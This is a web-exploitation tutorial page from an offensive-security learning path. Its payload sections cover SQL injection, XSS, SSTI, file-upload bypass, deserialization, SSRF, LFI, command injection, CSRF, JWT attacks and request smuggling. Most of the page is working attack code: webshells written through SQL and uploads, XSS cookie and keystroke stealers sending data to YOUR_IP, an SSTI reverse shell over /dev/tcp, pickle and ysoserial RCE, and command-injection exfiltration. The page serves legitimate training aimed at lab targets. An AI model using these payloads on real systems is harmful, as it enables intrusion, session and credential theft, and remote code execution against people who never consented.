kavklaw@llm ~ /learn/phase-3
← Back to Learning Path

Phase 3: Web Exploitation

SQLi, XSS, SSTI, file uploads, SSRF, command injection β€” the attacks that crack most boxes.

03

Phase 3: Web Exploitation

Most footholds come through web apps. This covers the core vulnerability classes you'll exploit again and again.

πŸ—ΊοΈ OWASP Top 10 β€” Your Web Vulnerability Roadmap

The OWASP (Open Web Application Security Project) Top 10 is the industry-standard classification of web application security risks. It's maintained by a nonprofit community and updated every few years. Every vulnerability in this phase maps to one or more OWASP categories. Here's how they connect to what you'll learn:

OWASP Top 10 (2021) Covered in This Phase Our Guide
A01: Broken Access ControlIDOR (Insecure Direct Object Reference β€” accessing other users' data by changing an ID in the URL), privilege escalation, forced browsingWeb Enumeration
A02: Cryptographic FailuresWeak hashing, cleartext credentials, exposed secretsCrypto Cheatsheet
A03: InjectionSQLi, Command Injection, SSTI, LDAP injectionSQLMap, SQLi Cheatsheet
A04: Insecure DesignBusiness logic flaws, race conditionsMethodology
A05: Security MisconfigurationDefault creds, exposed admin panels, verbose errorsWeb Hacking Checklist
A06: Vulnerable ComponentsOutdated libraries, known CVEs, version detectionNmap
A07: Auth FailuresBrute force, credential stuffing, session hijackingHydra, Password Attacks
A08: Software/Data IntegrityDeserialization, insecure CI/CD, unsigned updatesCovered below
A09: Logging FailuresMissing audit logs, log injection, blind attacksWireshark
A10: SSRFServer-Side Request Forgery, cloud metadata accessAPI Testing

πŸ§ͺ Mini-Lab: Set Up DVWA and Practice These Attacks

Damn Vulnerable Web Application (DVWA) is a deliberately insecure PHP/MySQL application designed for practicing web attacks. Set it up and work through every vulnerability at each security level.

# Quick DVWA setup with Docker (recommended)
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa

# Access at http://localhost:8080
# Default login: admin / password
# Go to DVWA Security β†’ set to "Low" to start

# Practice these in order:
# 1. SQL Injection (Low β†’ Medium β†’ High)
# 2. XSS Reflected & Stored (Low β†’ Medium β†’ High)
# 3. Command Injection (Low β†’ Medium β†’ High)
# 4. File Upload (Low β†’ Medium β†’ High)
# 5. File Inclusion (Low β†’ Medium β†’ High)
# 6. Brute Force (Low β†’ Medium β†’ High)

# Alternative: Use TryHackMe's OWASP Top 10 room (guided, free)

Start at Low security (no filtering), understand the vulnerability, then increase to Medium (basic filtering) and High (better filtering but still bypassable). This teaches you both exploitation AND how real-world defenses work.

πŸ’‰ SQL Injection (SQLi) β€” The Full Story

When user input gets inserted directly into SQL queries without sanitization, you can manipulate the database. SQLi remains one of the most impactful vulnerabilities β€” it can lead to data theft, authentication bypass, and even remote code execution.

Step 1: Detection β€” Is It Vulnerable?

# Test these payloads in input fields, URL parameters, headers:
'                           # Single quote β€” look for SQL error
"                           # Double quote
' OR '1'='1                 # Always-true condition
' OR '1'='1' --            # Comment out rest of query
1 AND 1=1                   # True condition (should work normally)
1 AND 1=2                   # False condition (different behavior = injectable!)
' AND SLEEP(5) --          # Time-based β€” page delays 5 seconds?

# Signs of SQLi:
# - SQL error messages (MySQL, PostgreSQL, MSSQL syntax)
# - Different page content for true vs false conditions
# - Page hangs with SLEEP/WAITFOR payloads
# - 500 Internal Server Error on special characters

Step 2: Identify the Database

# Each database has different syntax:
# MySQL:    SELECT @@version         CONCAT()        -- or #
# PostgreSQL: SELECT version()       ||              --
# MSSQL:    SELECT @@version         +               --
# Oracle:   SELECT banner FROM v$version   ||        --
# SQLite:   SELECT sqlite_version()  ||              --

# Test with version queries:
' UNION SELECT @@version -- -                    # MySQL/MSSQL
' UNION SELECT version() -- -                    # PostgreSQL
' UNION SELECT sqlite_version() -- -             # SQLite

Step 3: UNION-Based Extraction β€” A Complete Walkthrough

# Goal: Extract data by appending UNION SELECT to the query

# Step 3a: Find the number of columns
' ORDER BY 1 -- -       # Works? Try next...
' ORDER BY 2 -- -       # Works? Try next...
' ORDER BY 3 -- -       # Works? Try next...
' ORDER BY 4 -- -       # ERROR! β†’ 3 columns exist

# Step 3b: Find which columns display on the page
' UNION SELECT 1,2,3 -- -
# If you see "2" and "3" on the page, those columns are visible

# Step 3c: Extract database info
' UNION SELECT 1,database(),user() -- -
# Shows: current database name, current user

# Step 3d: Enumerate tables
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() -- -
# Shows: users, posts, sessions, etc.

# Step 3e: Enumerate columns of 'users' table
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' -- -
# Shows: id, username, password, email, role

# Step 3f: Extract the data!
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users -- -
# Shows: admin:$2y$10$abc..., user1:$2y$10$def...

# Step 3g: Crack the hashes
# Save to file and use hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Blind SQLi β€” When You Can't See Output

# Boolean-based: Different responses for true vs false
# Extract data one character at a time:
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' -- -
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b' -- -
# ...until the page shows the "true" response β†’ you found the character
# Then move to position 2, 3, etc.

# Time-based: No visible difference, use timing
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(3), 0) -- -
# If page takes 3+ seconds β†’ first char is 'a'

# Automate with SQLMap (see our guide!)
sqlmap -u "http://target/page?id=1" --batch --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump

SQLi to Shell β€” When the Database Gives You Code Execution

# MySQL: Write a webshell via INTO OUTFILE
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php' -- -
# Then: http://target/shell.php?cmd=id

# MSSQL: Execute OS commands via xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'whoami'; --

# PostgreSQL: Execute commands via COPY TO
'; COPY (SELECT '') TO PROGRAM 'id'; --
🧠 Knowledge Check β€” SQL Injection
What are the three main types of SQL injection?
The three main SQLi types: Union-based (append UNION SELECT to extract data directly in the response), Boolean-based blind (infer data from true/false differences in the response), and Time-based blind (infer data from response timing using SLEEP/WAITFOR). Union-based is the fastest to exploit; time-based is the slowest but works when there's no visible output difference.
Complete this SQL injection payload to extract data from a 'users' table with 3 visible columns:
Fill in the blank:
'  1,username,password FROM users -- -
UNION SELECT appends a second query's results to the original query. The number of columns must match the original query (here, 3). Column 1 is a placeholder (won't be visible), while columns 2 and 3 extract username and password. The -- - comments out the rest of the original query.

πŸ”€ Cross-Site Scripting (XSS) β€” The Exploitation Chain

When a web app reflects user input without escaping, you can inject JavaScript that runs in other users' browsers. Here's the full chain from discovery to exploitation:

Step 1: Find the Injection Point

# Test all input fields, URL parameters, headers with:
<script>alert(1)</script>                    # Classic test
<img src=x onerror=alert(1)>                # Bypasses some filters
<svg onload=alert(1)>                        # Another bypass
"><script>alert(1)</script>                 # Break out of attribute
javascript:alert(1)                           # In href/src attributes
'-alert(1)-'                                  # Inside JS string

# Look at WHERE your input appears in the HTML source:
# In text content? β†’ <script> tags work
# In an attribute? β†’ Break out with " or ' first
# In JavaScript? β†’ Break out of the string
# In a comment? β†’ Break out with -->

Step 2: Confirm Execution

# Use a callback to confirm (alerts get caught by WAFs β€” Web Application Firewalls
# that filter malicious input before it reaches the application)
<script>fetch('http://YOUR_IP:8888/xss?c='+document.cookie)</script>
<img src=x onerror=fetch('http://YOUR_IP:8888/xss')>

# Listen on your machine:
python3 -m http.server 8888
# If you see a request β†’ XSS confirmed!

Step 3: Steal Cookies (Session Hijacking)

# The classic cookie stealer:
<script>
new Image().src='http://YOUR_IP:8888/steal?c='+document.cookie;
</script>

# More reliable β€” fetch with POST:
<script>
fetch('http://YOUR_IP:8888/steal', {
  method: 'POST',
  body: document.cookie
});
</script>

# Use the stolen cookie:
# In browser DevTools β†’ Application β†’ Cookies β†’ set the session cookie
# Or with curl:
curl -b 'session=STOLEN_VALUE' http://target/admin

Step 4: Beyond Cookie Stealing

# Keylogging (capture typed passwords):
<script>
document.onkeypress=function(e){
  fetch('http://YOUR_IP:8888/keys?k='+e.key);
}
</script>

# Capture form data (credentials on login page):
<script>
document.forms[0].onsubmit=function(){
  fetch('http://YOUR_IP:8888/creds?u='+document.forms[0].username.value+'&p='+document.forms[0].password.value);
}
</script>

# CSRF (Cross-Site Request Forgery) via XSS β€” make the victim's
# browser perform actions they didn't intend (like creating an admin account):
<script>
fetch('/admin/create-user', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'username=hacker&password=hacker&role=admin'
});
</script>

XSS Filter Bypass Techniques

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# Encoding
<script>alert(String.fromCharCode(88,83,83))</script>

# Event handlers (many options!)
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>

# Template literals (backticks)
<script>alert`1`</script>

# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Check PortSwigger's XSS cheat sheet for hundreds more!

πŸ§ͺ Server-Side Template Injection (SSTI) β€” Detection Flowchart

Template engines (like Jinja2, Twig, and ERB) let developers embed dynamic content in web pages β€” for example, Hello, {{username}}. When user input is embedded directly in a template without sanitization, you can inject template syntax that executes arbitrary code on the server. This leads to RCE (Remote Code Execution) β€” the ability to run any command on the target, which is essentially game over. The key challenge is identifying which template engine is in use.

Detection β€” The Decision Tree

# Step 1: Try {{7*7}}
# β†’ Shows 49? Go to Step 2a
# β†’ Shows {{7*7}} literally? Try ${7*7} (Step 3)

# Step 2a: Try {{7*'7'}}
# β†’ Shows 7777777? β†’ It's JINJA2 (Python)
# β†’ Shows 49? β†’ It's TWIG (PHP)

# Step 3: Try ${7*7}
# β†’ Shows 49? Try ${class.forName("java.lang.Runtime")}
#   β†’ Works? β†’ JAVA (FreeMarker, Velocity, Thymeleaf)
# β†’ Shows ${7*7}? Try <%= 7*7 %>
#   β†’ Shows 49? β†’ ERB (Ruby)
#   β†’ Shows <%= 7*7 %>? Try #{7*7}
#     β†’ Shows 49? β†’ Slim/Pug (Jade) or Ruby string interpolation

# Summary:
# {{7*7}} = 49, {{7*'7'}} = 7777777  β†’ Jinja2
# {{7*7}} = 49, {{7*'7'}} = 49       β†’ Twig
# ${7*7} = 49                        β†’ FreeMarker/Velocity/EL
# <%= 7*7 %> = 49                    β†’ ERB
# #{7*7} = 49                        β†’ Pug/Slim

Exploitation by Engine

# Jinja2 (Python/Flask) β€” Most common in HTB
# Read /etc/passwd:
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}

# Shorter payload for RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Reverse shell via SSTI:
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"').read()}}

# Twig (PHP/Symfony)
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# FreeMarker (Java)
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ERB (Ruby on Rails)
<%= system('id') %>
<%= `id` %>
πŸ’‘ Real example: In our Flustered writeup, the Flask app used render_template_string() with user-controlled JSON input β€” classic SSTI leading to full RCE.
🧠 Knowledge Check β€” XSS & SSTI
What is the key difference between XSS and SSTI?
XSS injects JavaScript that runs in other users' browsers (client-side) β€” used for cookie stealing, keylogging, and CSRF. SSTI injects into server-side templates (Jinja2, Twig, ERB) and executes code on the server β€” leading to RCE. SSTI is generally more dangerous because it gives you a shell on the server, while XSS requires a victim to trigger the payload.
You inject {{7*7}} into an input field and the page displays 49. You then try {{7*'7'}} and see 7777777. What template engine is this?
This is the SSTI detection decision tree: {{7*7}} = 49 confirms template injection. {{7*'7'}} = 7777777 (string multiplication) is Python behavior β†’ Jinja2. If it returned 49 instead, it would be Twig (PHP). Jinja2 is the most common SSTI target in CTFs because Flask/Python apps are popular, and render_template_string() is a frequent mistake.

πŸ“€ File Upload Bypass Techniques

File upload functionality is one of the most dangerous features a web app can have. If you can upload a web shell, you get code execution. Developers try to restrict uploads β€” here's how to bypass those restrictions:

Common Restrictions and Bypasses

# 1. Extension blacklist bypass
shell.php            β†’ Blocked!
shell.php5           β†’ Allowed! (PHP still executes it)
shell.phtml          β†’ Allowed!
shell.phar           β†’ Allowed!
shell.php.jpg        β†’ Depends on config (Apache may execute as PHP)
shell.php%00.jpg     β†’ Null byte truncation (older servers)
shell.php.            β†’ Trailing dot (Windows servers)
shell.php::$DATA     β†’ NTFS alternate data stream (Windows IIS)

# 2. Content-Type bypass
# The server checks Content-Type header instead of actual file content
# In Burp, change:
Content-Type: application/x-php    β†’ Content-Type: image/jpeg
# Server thinks it's an image, saves as .php β†’ executes!

# 3. Magic bytes bypass
# Some servers check the file header (magic bytes)
# Prepend JPEG magic bytes to your PHP shell:
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# 4. Double extension with .htaccess
# Upload a .htaccess file first:
AddType application/x-httpd-php .jpg
# Now upload shell.jpg β€” Apache treats it as PHP!

# 5. SVG with embedded XSS/SSRF
# Upload an SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

# 6. Polyglot files (valid image AND valid PHP)
# Use exiftool to inject PHP into EXIF data:
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php.jpg

Finding Where Uploads Land

# Check these common upload directories:
/uploads/
/images/
/media/
/files/
/attachments/
/static/uploads/

# Check the response after upload β€” it often reveals the path
# Check the image URL in your profile/post
# Use gobuster if you can't find it

πŸ—ƒοΈ Deserialization Attacks β€” A Primer

Programs store complex data structures (objects) in memory. Serialization converts these objects into a format that can be saved or transmitted (bytes, JSON, XML). Deserialization converts them back into live objects. The danger: if an application deserializes data that you control (like a cookie or API parameter), you can craft a malicious object that executes code the moment it's deserialized β€” before the application even looks at the data.

How to Spot Deserialization Vulnerabilities

  • Java: Look for base64-encoded data starting with rO0AB (the magic bytes of Java serialized objects). Cookies, hidden form fields, and API parameters are common locations.
  • PHP: Look for data starting with O:4: or similar β€” PHP serialized format. a:2:{s:4:"name";...} is an array.
  • Python: Base64-encoded pickle data. Flask session cookies often use pickle.
  • .NET: Look for ViewState parameters, __VIEWSTATE in ASP.NET forms. SOAP XML with type hints.
# Java deserialization β€” use ysoserial
java -jar ysoserial.jar CommonsCollections1 'ping YOUR_IP' | base64
# Send the base64 payload where the app expects serialized data

# PHP deserialization
# If you can control serialized input:
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"isAdmin";b:1;}
# Craft objects that trigger __wakeup() or __destruct() magic methods

# Python pickle RCE
import pickle, base64, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(Exploit())))

# Use the output as your session cookie / input

πŸ”— Server-Side Request Forgery (SSRF)

When you can make the server fetch URLs on your behalf, you can access internal services that aren't exposed externally.

# Basic SSRF β€” the server fetches URLs for you
http://target/fetch?url=http://127.0.0.1:8080/admin

# Cloud metadata endpoints (AWS)
http://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Cloud metadata (GCP)
http://target/fetch?url=http://metadata.google.internal/computeMetadata/v1/

# File read via file:// protocol
http://target/fetch?url=file:///etc/passwd

# Internal port scanning via SSRF
# Try http://127.0.0.1:PORT for common ports (22, 80, 3306, 6379, 8080, 8443)
# Different response size/time = port is open

# SSRF bypass techniques:
http://0.0.0.0/               # Alternative to 127.0.0.1
http://[::1]/                  # IPv6 localhost
http://127.1/                  # Shortened IP
http://2130706433/             # Decimal IP for 127.0.0.1
http://[email protected]/      # URL authority confusion
http://127.0.0.1.nip.io/      # DNS rebinding

πŸ“ Local/Remote File Inclusion (LFI/RFI)

# LFI β€” read local files through path traversal
http://target/page?file=../../../../etc/passwd
http://target/page?file=....//....//....//etc/passwd  # bypass ../ filter

# PHP wrappers for code execution
http://target/page?file=php://filter/convert.base64-encode/resource=config.php
http://target/page?file=php://input  (POST body: <?php system('id'); ?>)
http://target/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# Log poisoning β€” inject PHP into log file, then include it
# 1. Send request with PHP in User-Agent:
curl -A '<?php system($_GET["cmd"]); ?>' http://target/
# 2. Include the log file:
http://target/page?file=/var/log/apache2/access.log&cmd=id

# /proc/self/environ β€” another LFI-to-RCE vector
http://target/page?file=/proc/self/environ
# If User-Agent appears in output β†’ inject PHP in User-Agent header

# Windows LFI paths
http://target/page?file=C:\Windows\System32\drivers\etc\hosts
http://target/page?file=..\..\..\..\Windows\win.ini

πŸ›‘οΈ Command Injection

When user input is passed to OS commands without sanitization:

# Common injection points: ping, nslookup, whois, file conversion utilities

# Operators to chain commands:
; id                    # Semicolon β€” runs id after the first command
| id                    # Pipe β€” sends output to id
|| id                   # OR β€” runs id if first command fails
&& id                   # AND β€” runs id if first command succeeds
$(id)                   # Command substitution
`id`                    # Backtick substitution

# Blind command injection (no output visible):
; ping -c 3 YOUR_IP          # Listen with tcpdump
; curl http://YOUR_IP:8888/  # Listen with python HTTP server
; sleep 5                     # Time-based confirmation

# Out-of-band data exfiltration:
; curl http://YOUR_IP:8888/$(whoami)
; nslookup $(whoami).YOUR_DOMAIN    # DNS-based exfiltration

πŸ”„ Cross-Site Request Forgery (CSRF)

CSRF tricks a victim's browser into making requests to a site where they're already authenticated. The attacker crafts a malicious page that, when visited, silently performs actions as the victim β€” changing their password, transferring funds, or modifying settings.

<!-- CSRF PoC: Change victim's email address -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://target.com/settings" method="POST">
      <input name="email" value="[email protected]">
    </form>
  </body>
</html>

<!-- CSRF with JSON body (if Content-Type isn't validated) -->
<script>
fetch('https://target.com/api/settings', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'text/plain'},
  body: '{"email":"[email protected]"}'
});
</script>

What stops CSRF:

  • CSRF tokens: Random value in each form that the server validates. If the token is missing or wrong, the request is rejected.
  • SameSite cookies: SameSite=Lax (default in modern browsers) blocks cookies on cross-origin POST requests. SameSite=Strict blocks them on all cross-origin requests.
  • Referer/Origin header checking: Server validates that the request originated from its own domain.

Testing for CSRF: Remove the CSRF token from a request in Burp — does it still work? Change SameSite to None — does the server accept it? Try changing the request method (POST→GET) — sometimes GET requests bypass CSRF protections.

🎯 Practice: PortSwigger Web Security Academy has an excellent CSRF lab series covering token bypass, SameSite bypass, and Referer validation bypass.

πŸ”“ Broken Access Control β€” IDOR & Privilege Escalation

Broken access control is OWASP's #1 vulnerability (A01:2021). It means the application doesn't properly check whether a user has permission to perform an action or access a resource.

IDOR (Insecure Direct Object Reference)

# The classic IDOR test
GET /api/users/123/profile      β†’ Your profile
GET /api/users/124/profile      β†’ Someone else's profile (IDOR!)

# Test every endpoint with an ID:
GET /api/orders/5001            β†’ Try /api/orders/5002
GET /api/documents/abc123       β†’ Try sequential or UUIDs
POST /api/messages              β†’ Change recipient_id
DELETE /api/posts/456           β†’ Can you delete others' posts?

# Beyond numeric IDs:
/api/users/john.doe             β†’ Try /api/users/admin
/api/invoices/INV-2024-001      β†’ Increment the number
/api/files/report_q1.pdf        β†’ Guess other filenames

Privilege Escalation via Access Control

  • Horizontal: Accessing another user's data at the same privilege level (user A sees user B's records)
  • Vertical: Accessing admin functionality as a regular user (user becomes admin)
# Vertical privilege escalation tests
# 1. Can a normal user access admin endpoints?
GET /admin/dashboard            β†’ Try with regular user cookie
POST /api/admin/delete-user     β†’ Try with regular user token

# 2. Parameter tampering
POST /api/register
{"username":"test", "role":"user"}
β†’ Try: {"username":"test", "role":"admin"}

# 3. Forced browsing
/admin                          β†’ Blocked
/Admin                          β†’ Maybe not blocked?
/ADMIN                          β†’ Case sensitivity?
/admin/                         β†’ Trailing slash?
/./admin                        β†’ Path normalization?

# 4. HTTP method tampering
POST /api/admin/users β†’ 403
GET  /api/admin/users β†’ 200?     # Different method = different check?
πŸ’‘ Pro tip: Burp Suite's "Autorize" extension is a game-changer for access control testing. It automatically replays every request with a lower-privileged session and flags where the response is the same β€” instant IDOR/access control detection.

πŸ”‘ Authentication & Session Attacks

Authentication is the gateway. If you can bypass it, you own the application.

JWT (JSON Web Token) Attacks

# JWT structure: header.payload.signature (base64url encoded)
# Decode a JWT (fix base64url padding first)
echo "eyJhbGciOiJIUzI1NiJ9" | tr '_-' '/+' | base64 -d

# Attack 1: "none" algorithm
# Change header to {"alg":"none"}, remove signature
# Some libraries accept unsigned tokens

# Attack 2: HMAC/RSA confusion
# Server expects RS256 (asymmetric) β€” switch to HS256 (symmetric)
# Sign with the server's PUBLIC key as HMAC secret

# Attack 3: Weak signing secret
# Brute-force the HMAC secret
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# Attack 4: kid injection
# Header: {"alg":"HS256", "kid":"../../etc/hostname"}
# Server uses the file content as the signing key

OAuth Misconfigurations

  • Open redirect in callback: redirect_uri=https://target.com/callback/../../../attacker.com
  • Missing state parameter: Enables CSRF on login β€” attacker links their OAuth account to victim's session
  • Token leakage: Authorization code in URL β†’ leaked via Referer header to third-party resources
  • Scope creep: Request more permissions than the app needs β€” scope=read+write+admin

Password Reset Flaws

# Common password reset vulnerabilities:
# 1. Predictable tokens
#    Reset link: /reset?token=1234  β†’ Try /reset?token=1235

# 2. Host header injection
#    POST /forgot-password
#    Host: attacker.com
#    β†’ Reset email contains: https://attacker.com/reset?token=abc
#    β†’ Victim clicks link β†’ token sent to attacker's server

# 3. No rate limiting on reset endpoint
#    Brute-force short numeric OTP codes

# 4. Response manipulation
#    Server returns {"success": false} β†’ Change to {"success": true}
#    (Only works if server-side validation is broken)

πŸ”€ Advanced HTTP Exploitation

These techniques go beyond basic web vulns. They target the HTTP protocol itself and how servers/proxies interpret requests differently.

HTTP Request Smuggling

When a front-end proxy and back-end server disagree on where one request ends and another begins, you can "smuggle" requests past security controls.

# CL.TE smuggling (front-end uses Content-Length, back-end uses Transfer-Encoding)
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# The front-end sees one request (CL: 13 bytes)
# The back-end sees the chunked terminator "0\r\n\r\n"
# Then treats "SMUGGLED" as the start of a new request

Impact: Bypass WAFs, hijack other users' requests, steal credentials, poison web caches. This is an advanced technique β€” start with PortSwigger's request smuggling labs.

Cache Poisoning

If a CDN/cache stores a response keyed by URL but the response content is influenced by an unkeyed header (like X-Forwarded-Host), you can poison the cache to serve malicious content to all users:

# Inject malicious content via unkeyed header
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# If the response includes: <script src="//attacker.com/evil.js">
# AND the cache stores this response...
# Every subsequent user gets the poisoned page
🎯 Where to practice: PortSwigger Web Security Academy has labs for every technique in this section β€” CSRF, access control, JWT attacks, OAuth, request smuggling, and cache poisoning. They're free, browser-based, and the best way to learn these attacks hands-on.

πŸ‹οΈ Practical Exercises

  1. SQLi hands-on: Complete all SQLi labs on PortSwigger Web Security Academy. Start with "Retrieving hidden data" and work through to "Blind SQL injection with time delays."
  2. XSS cookie stealer: On a DVWA or TryHackMe XSS lab, craft a payload that sends cookies to your machine. Use python3 -m http.server as your listener.
  3. SSTI identification: Set up a Flask app with render_template_string(). Test the detection flowchart. Achieve RCE with Jinja2 payloads.
  4. File upload bypass: Try all six bypass techniques listed above against DVWA's upload functionality at different security levels.
  5. Burp Suite workflow: Intercept a login request in Burp, send it to Repeater, try SQLi payloads, send to Intruder for fuzzing. Get comfortable with the Burp workflow.
  6. LFI to RCE: On a vulnerable PHP app, read /etc/passwd via LFI, then escalate to code execution via log poisoning or PHP wrappers.

βœ… Key Concepts Checklist

Can you explain these without looking them up?

  • What's the difference between union-based and blind SQLi?
  • How do you determine the number of columns for a UNION attack?
  • What's the difference between reflected, stored, and DOM-based XSS?
  • How does SSTI differ from XSS? (server-side vs client-side execution)
  • What makes deserialization dangerous?
  • Why is SSRF particularly dangerous in cloud environments?
  • What's the difference between LFI and RFI?
  • Name three ways to get RCE from LFI.

🎀 Common Interview Questions

  • "Explain the OWASP Top 10 and give an example of each."
  • "How would you test a login form for SQL injection?"
  • "What's the impact of XSS and how would you demonstrate risk to a client?"
  • "You found an SSRF vulnerability. What internal services would you target?"
  • "How do you handle a WAF (Web Application Firewall) that blocks your payloads?"
  • "What's the difference between a vulnerability scan and a penetration test?"
  • "Explain the difference between black-box, grey-box, and white-box testing."

πŸ† After This Phase, You Should Be Able To:

  • Test any input field for SQL injection (union-based, boolean blind, time-based blind)
  • Identify and exploit XSS (reflected, stored, DOM-based) and explain the real-world impact
  • Detect SSTI and exploit it across at least 3 template engines (Jinja2, Twig, ERB)
  • Bypass file upload restrictions using at least 4 different techniques
  • Exploit LFI vulnerabilities and escalate to RCE via log poisoning or PHP wrappers
  • Use Burp Suite to intercept, modify, and replay HTTP requests fluently
  • Map any web application to relevant OWASP Top 10 categories
  • Set up and use SQLMap for automated SQL injection testing

πŸ“š Resources for This Phase

Our Guides
Our Cheat Sheets
External Practice
  • PortSwigger Web Security Academy (free!) β€” The best free web hacking labs, period
  • DVWA β€” Set up locally with Docker (see mini-lab above)
  • TryHackMe "OWASP Top 10" room β€” Guided OWASP practice
  • HTB Web Challenges β€” Standalone web exploitation challenges
πŸ“

Phase 3 Checkpoint

0 / 8
What is the first step in exploiting a UNION-based SQL injection?
For UNION-based SQLi, you must first determine how many columns the original query returns (using ORDER BY incrementally until you get an error). The UNION SELECT must have the exact same number of columns. Only after knowing the column count can you construct a valid UNION SELECT to extract data.
Which file upload bypass technique involves adding JPEG magic bytes (\xff\xd8\xff\xe0) to the beginning of a PHP shell?
Some servers validate files by checking the magic bytes (file signature) at the beginning of the file, not just the extension or Content-Type header. JPEG files start with \xff\xd8\xff\xe0. By prepending these bytes to your PHP shell, the server's magic byte check sees "JPEG" β€” but if the file is saved with a .php extension, the web server still executes it as PHP.
Scenario: You find a web application that takes a URL parameter and fetches the content of that URL to display on the page. What vulnerability class is this most likely?
When a server fetches URLs on your behalf, it's SSRF. You can make the server request internal resources (like http://127.0.0.1:8080/admin), cloud metadata endpoints (http://169.254.169.254/), or use file:// protocol to read local files. SSRF is especially dangerous in cloud environments where metadata endpoints can leak IAM credentials.
What is the difference between reflected, stored, and DOM-based XSS?
Reflected XSS: payload is in the URL/request and reflected back in the response (requires victim to click a crafted link). Stored XSS: payload is saved in the database and served to every user who views the page (more dangerous, no click needed). DOM-based XSS: payload is processed entirely by client-side JavaScript without touching the server β€” harder to detect with server-side WAFs.
Which command injection operator runs a second command regardless of whether the first command succeeds or fails?
The semicolon (;) is a command separator β€” the second command runs regardless of the first's exit status. && only runs the second if the first succeeds (exit code 0). || only runs the second if the first fails. | pipes stdout of the first into stdin of the second. When testing for command injection, ; is usually the first operator to try.
You suspect an LFI vulnerability in page.php?file=about.html. Complete the payload to read /etc/passwd:
Fill in the blank:
page.php?file=
Path traversal with ../../../../etc/passwd navigates up from the web root to the filesystem root, then into /etc/passwd. You use enough ../ sequences to reach the root directory. If basic traversal is filtered, try: ....// (double dots bypass), URL encoding (%2e%2e%2f), or null byte injection (%00 on older PHP).
Which of the following is a PHP wrapper that can be used to read source code via LFI?
php://filter with base64 encoding reads the raw source code of PHP files without executing them. Without this wrapper, including a PHP file via LFI would execute it (and you'd see the output, not the code). The base64-encoded output can be decoded locally to reveal database credentials, API keys, and application logic.
In blind SQL injection, what technique lets you extract data one character at a time by observing response time differences?
Time-based blind SQLi uses functions like SLEEP(5) (MySQL) or WAITFOR DELAY '0:0:5' (MSSQL) to cause conditional delays. For example: IF(SUBSTRING(database(),1,1)='a', SLEEP(3), 0) β€” if the page takes 3+ seconds, the first character is 'a'. It's the slowest extraction method but works when there's zero visible output difference.
← Phase 2: Reconnaissance All Phases Phase 4: System Exploitation β†’